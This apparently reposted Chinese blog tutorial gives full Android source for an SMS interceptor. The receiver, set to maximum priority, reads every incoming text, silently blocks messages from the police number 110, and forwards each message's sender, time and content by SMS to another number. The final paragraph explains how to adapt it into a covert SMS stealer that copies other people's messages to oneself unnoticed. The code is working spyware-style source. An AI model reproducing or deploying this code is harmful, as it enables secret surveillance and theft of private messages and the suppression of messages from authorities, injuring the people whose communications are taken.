题外话:因为这是一篇来自百度的文章,并且在好多网站中都有转载,但却没有标明出处,所以我也搞不清作者是何人,特在此声。另外,关于这个例子的实现,一定要注意权限的设置,我在这里例子的实验中,由于没有找到SEND_SMS权限,导致短信拦截时出现RuntmeException和illegalargumentexception错误,令我百思不得其解,花费了2个小时才发现这个问题,望诸位引以为戒!
今天利用广播机制给178折社区做了一个短信拦截器。在我做的这个拦截器中,可以有两种方式来设置拦截,一种是在AndroidManifest.xml直接设置拦截,另外一种是通过手动注册来设计拦截。在这里我们需要通过查文档找到短信收发的一些权限。
下面我附上自己做的这个拦截器的代码供大家参考。
main.xml layout
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" > <Button android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="注册拦截" android:onClick="regiset" /> <Button android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="解注册拦截" android:onClick="unregiset" /> </LinearLayout>
package com.tk178zhe.android.SmsListener; import android.app.Activity; import android.content.IntentFilter; import android.os.Bundle; import android.view.View; import android.widget.Toast; public class SmsListenerActivity extends Activity { private SmsRecevier recevier; private boolean isregiset = false; private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED"; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); recevier = new SmsRecevier(); } public void regiset(View v) { IntentFilter filter = new IntentFilter(ACTION); filter.setPriority(1000);//设置优先级最大 registerReceiver(recevier, filter); isregiset = true; Toast.makeText(this, "注册成功", 0).show(); } public void unregiset(View v) { if (recevier != null && isregiset) { unregisterReceiver(recevier); isregiset = false; Toast.makeText(this, "解注册成功", 0).show(); } else Toast.makeText(this, "尚未注册", 0).show(); } @Override protected void onDestroy() { super.onDestroy(); if (recevier != null && isregiset) { unregisterReceiver(recevier); isregiset = false; Toast.makeText(this, "解注册成功", 0).show(); } } }
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.tk178zhe.android.SmsListener" android:versionCode="1" android:versionName="1.0"> <uses-sdk android:minSdkVersion="8" /> <application android:icon="@drawable/icon" android:label="@string/app_name"> <activity android:name=".SmsListenerActivity" android:label="@string/app_name"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <!-- 这是隐式的设置receiver 我们做的这个拦截器需要这样去做 <receiver android:name=".SmsRecevier"> <intent-filter android:priority="1000"> 将优先级设到最大 <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> --> </application> <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 --> <uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> </manifest>
package com.tk178zhe.android.android; import java.text.SimpleDateFormat; import java.util.Date; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; public class SmsRecevier extends BroadcastReceiver { public SmsRecevier() { Log.v("TAG", "SmsRecevier create"); } @Override public void onReceive(Context context, Intent intent) { Log.v("TAG", "SmsRecevier onReceive"); Object[] pdus = (Object[]) intent.getExtras().get("pdus"); if (pdus != null && pdus.length > 0) { SmsMessage[] messages = new SmsMessage[pdus.length]; for (int i = 0; i < pdus.length; i++) { byte[] pdu = (byte[]) pdus[i]; messages[i] = SmsMessage.createFromPdu(pdu); } for (SmsMessage message : messages) { String content = message.getMessageBody();// 得到短信内容 String sender = message.getOriginatingAddress();// 得到发信息的号码 if (sender.equals("110")) { abortBroadcast();// 中止发送 Log.e("TAG", "此号码为黑名单号码,已拦截!"); } Date date = new Date(message.getTimestampMillis()); SimpleDateFormat format = new SimpleDateFormat( "yyyy-MM-dd HH:mm:ss"); String sendContent = format.format(date) + ":" + sender + "--" + content; SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的 smsManager.sendTextMessage("", null, sendContent, null, null);// 转发给 Log.v("TAG", sendContent); } } } }这样一个短信拦截器就做好了,当110这个号码给别人发信息时,就会被拦截,转发给178。我们可以通过Log的打印信息来观察结果。当然我们可以做一个不拦截,但是可以窃取短信的短信窃取器。怎么做呢?和上面差不多,只是不需要拦截了,而是利用短信在发送给指定人的同时让它也发给自己,这样就可以做到不动声色的窃取别人的信息内容了。